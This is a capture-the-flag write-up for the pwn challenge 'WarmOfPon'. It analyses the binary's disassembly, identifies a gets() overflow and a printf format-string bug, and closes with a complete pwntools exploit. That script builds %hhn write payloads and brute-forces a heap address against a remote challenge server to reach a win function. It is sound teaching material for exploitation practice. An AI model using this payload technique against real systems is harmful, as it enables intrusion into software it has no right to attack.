# pwn/WarmOfPon
Decompiling using ghidra:
```clike
undefined8 main(void)
{
void *pvVar1;
undefined8 unaff_retaddr;
char local_28 [24];
ulong local_10;
setup();
pvVar1 = malloc(8);
*(undefined8 *)((ulong)pvVar1 & 0xfffffffffffff000) = unaff_retaddr;
gets(local_28);
printf(local_28);
for (local_10 = 0; local_10 < 0x21; local_10 = local_10 + 1) {
}
return 0;
}
```
 You would get a mess. Instead, lets look at the disassembly directly:
```asm
00000000004011dd <main>:
4011dd: 55 push %rbp
4011de: 48 89 e5 mov %rsp,%rbp
4011e1: 48 83 ec 30 sub $0x30,%rsp
4011e5: b8 00 00 00 00 mov $0x0,%eax
4011ea: e8 77 ff ff ff call 401166 <setup>
4011ef: 48 c7 45 d8 00 00 00 movq $0x0,-0x28(%rbp)
4011f6: 00
4011f7: bf 08 00 00 00 mov $0x8,%edi
4011fc: e8 5f fe ff ff call 401060 <malloc@plt>
401201: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
401207: 48 89 c2 mov %rax,%rdx
40120a: 48 8d 45 d8 lea -0x28(%rbp),%rax
40120e: 48 2d 60 09 00 00 sub $0x960,%rax
401214: 48 89 10 mov %rdx,(%rax)
401217: 48 8d 45 d8 lea -0x28(%rbp),%rax
40121b: 48 83 c0 30 add $0x30,%rax
40121f: 48 8b 10 mov (%rax),%rdx
401222: 48 8d 45 d8 lea -0x28(%rbp),%rax
401226: 48 2d 60 09 00 00 sub $0x960,%rax
40122c: 48 8b 00 mov (%rax),%rax
40122f: 48 89 10 mov %rdx,(%rax)
401232: 48 8d 45 e0 lea -0x20(%rbp),%rax
401236: 48 89 c7 mov %rax,%rdi
401239: b8 00 00 00 00 mov $0x0,%eax
40123e: e8 0d fe ff ff call 401050 <gets@plt>
401243: 48 8d 45 e0 lea -0x20(%rbp),%rax
401247: 48 89 c7 mov %rax,%rdi
40124a: b8 00 00 00 00 mov $0x0,%eax
40124f: e8 ec fd ff ff call 401040 <printf@plt>
401254: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp)
40125b: 00
40125c: eb 4b jmp 4012a9 <main+0xcc>
40125e: 48 8d 45 d8 lea -0x28(%rbp),%rax
401262: 48 2d 60 09 00 00 sub $0x960,%rax
401268: 48 8b 00 mov (%rax),%rax
40126b: 48 8b 55 f8 mov -0x8(%rbp),%rdx
40126f: 48 c1 e2 0c shl $0xc,%rdx
401273: 48 01 d0 add %rdx,%rax
401276: 48 8b 00 mov (%rax),%rax
401279: 48 85 c0 test %rax,%rax
40127c: 74 26 je 4012a4 <main+0xc7>
40127e: 48 8d 45 d8 lea -0x28(%rbp),%rax
401282: 48 2d 60 09 00 00 sub $0x960,%rax
401288: 48 8b 00 mov (%rax),%rax
40128b: 48 8b 55 f8 mov -0x8(%rbp),%rdx
40128f: 48 c1 e2 0c shl $0xc,%rdx
401293: 48 01 d0 add %rdx,%rax
401296: 48 8b 10 mov (%rax),%rdx
401299: 48 8d 45 d8 lea -0x28(%rbp),%rax
40129d: 48 83 c0 30 add $0x30,%rax
4012a1: 48 89 10 mov %rdx,(%rax)
4012a4: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
4012a9: 48 83 7d f8 20 cmpq $0x20,-0x8(%rbp)
4012ae: 76 ae jbe 40125e <main+0x81>
4012b0: b8 00 00 00 00 mov $0x0,%eax
4012b5: c9 leave
4012b6: c3 ret
```
We can see that the code use the following sequence of instructions to compute address of stack variables:
```asm
...
lea -0x28(%rbp),%rax
sub $offset,%rax
...
```
which seems to confuse ghidra probably because
1: What could be done with just a `lea` instruction is splited into a `lea` instruction and a `sub` instruction.
2: Sometimes, offset is set to 0x960 and the stack address calculated is way below the rsp pointer.
We should look at the disassembly code bits by bits (Skipping function prologue and epilogue):
1. This allocate 8 bytes using malloc, page aligned the return pointer and stash the result into rdx. Essentially, a pointer to a page on the heap is stashed into rdx
```asm
4011f7: bf 08 00 00 00 mov $0x8,%edi
4011fc: e8 5f fe ff ff call 401060 <malloc@plt>
401201: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
401207: 48 89 c2 mov %rax,%rdx
```
2. The pointer to the page on the heap in rdx is stored at "offset" 0x960 on the stack.
```asm
40120a: 48 8d 45 d8 lea -0x28(%rbp),%rax
40120e: 48 2d 60 09 00 00 sub $0x960,%rax
401214: 48 89 10 mov %rdx,(%rax)
```
3. Saved rip is loaded into rdx.
```asm
401217: 48 8d 45 d8 lea -0x28(%rbp),%rax
40121b: 48 83 c0 30 add $0x30,%rax
40121f: 48 8b 10 mov (%rax),%rdx
```
4. The pointer to the page on the heap stored at "offset" 0x960 on the stack is loaded back into rax.
```asm
401222: 48 8d 45 d8 lea -0x28(%rbp),%rax
401226: 48 2d 60 09 00 00 sub $0x960,%rax
40122c: 48 8b 00 mov (%rax),%rax
```
5. Saved rip in rdx is stored into the first machine word in the page on the heap
```asm
40122f: 48 89 10 mov %rdx,(%rax)
```
6. The function `gets` is called on a stack buffer at 0x20(%rbp). (**Buffer Overflow Vulnerability**)
```asm
401232: 48 8d 45 e0 lea -0x20(%rbp),%rax
401236: 48 89 c7 mov %rax,%rdi
401239: b8 00 00 00 00 mov $0x0,%eax
40123e: e8 0d fe ff ff call 401050 <gets@plt>
```
7. The function `printf` is called on the same stack buffer at 0x20(%rbp). (**Format String Exploit**)
```asm
401243: 48 8d 45 e0 lea -0x20(%rbp),%rax
401247: 48 89 c7 mov %rax,%rdi
40124a: b8 00 00 00 00 mov $0x0,%eax
40124f: e8 ec fd ff ff call 401040 <printf@plt>
```
8. Zero counter variable on the stack at -0x8(%rbp). Jump into the loop.
```asm
401254: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp)
40125b: 00
40125c: eb 4b jmp 4012a9 <main+0xcc>
```
9. The pointer to the page on the heap stored at "offset" 0x960 on the stack is loaded back into rax again.
```asm
40125e: 48 8d 45 d8 lea -0x28(%rbp),%rax
401262: 48 2d 60 09 00 00 sub $0x960,%rax
401268: 48 8b 00 mov (%rax),%rax
```
10. Compute the pointer to the page that is `counter` pages from the our pointer to the page on the heap, and load the first machine word from the page into rax.
```asm
40126b: 48 8b 55 f8 mov -0x8(%rbp),%rdx
40126f: 48 c1 e2 0c shl $0xc,%rdx
401273: 48 01 d0 add %rdx,%rax
401276: 48 8b 00 mov (%rax),%rax
```
11. Continue to the next iteration of the loop if the loaded machine word is zero.
```asm
401279: 48 85 c0 test %rax,%rax
40127c: 74 26 je 4012a4 <main+0xc7>
```
12. The pointer to the page on the heap stored at "offset" 0x960 on the stack is loaded back into rax yet again.
```asm
40127e: 48 8d 45 d8 lea -0x28(%rbp),%rax
401282: 48 2d 60 09 00 00 sub $0x960,%rax
401288: 48 8b 00 mov (%rax),%rax
```
13. Again, compute the pointer to the page that is `counter` pages from the our pointer to the page on the heap, and load the first machine word, which we have verified to be non-zero, from the page into rax.
```asm
40128b: 48 8b 55 f8 mov -0x8(%rbp),%rdx
40128f: 48 c1 e2 0c shl $0xc,%rdx
401293: 48 01 d0 add %rdx,%rax
401296: 48 8b 10 mov (%rax),%rdx
```
14. Overwrite the saved rip with the loaded machine word
```asm
401299: 48 8d 45 d8 lea -0x28(%rbp),%rax
40129d: 48 83 c0 30 add $0x30,%rax
4012a1: 48 89 10 mov %rdx,(%rax)
```
15. Increment counter variable on the stack at -0x8(%rbp). Stop the loop if the counter is greater than 0x20.
```asm
4012a4: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
4012a9: 48 83 7d f8 20 cmpq $0x20,-0x8(%rbp)
4012ae: 76 ae jbe 40125e <main+0x81>
```
Essentialy, the program would check the first machine word from 0x20 heap pages, and if any of them are non-zero, use it to overwrite the return pointer. As it turns out, such address are brute-forceable and could take advantage of format string exploit the overwrite the first machine word from some heap page.
The final question is where do we return to.
As it turns out the challenge binary provided a `win` function that would invoke `system("cat flag.txt")` for us.
Sanity check:
```shell
$ checksec --file=warm_of_pon
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 33 Symbols No 0 2 warm_of_pon
```
PIE is not enabled so we do not need to leak any address.
# Solution
```python
#!/usr/bin/env python3
from pwn import *
context.binary = binary = "./warm_of_pon"
for i in range(1000):
try:
e = ELF(binary)
#c = gdb.debug(binary)
c = remote("172.105.246.203", 1339)
def ret_to(address, value):
# Let's write byte by byte
value_addresses = [address + i for i in range(8)]
value_bytes = list(value.to_bytes(8, 'little'))
# Some magic to construct the format string payload automatically
actions = list(zip(value_addresses, value_bytes))
actions.sort(key=lambda x: x[1])
payload = b""
for i in range(8):
prev_byte = actions[i-1][1] if i != 0 else 0
curr_byte = actions[i][1]
delta_byte = curr_byte - prev_byte
if delta_byte != 0:
payload += f"%{delta_byte}x".encode()
payload += f"%{18+i}$hhn".encode()
payload += b"marker"
payload += b"\x00"
payload = payload.ljust(80)
for i in range(8):
address = actions[i][0]
payload += p64(address)
c.sendline(payload)
c.recvuntil(b"marker")
# Guess for valid heap page address
address = 0x1321000
main = 0x4011dd
win = 0x4011c7
# Return twice to fix stack alignment for system
ret_to(address, main)
ret_to(address, win)
result = c.clean(0.1)
print(f"Trial {i} => {result}")
except EOFError:
print(f"Trial {i} => EOFError")
```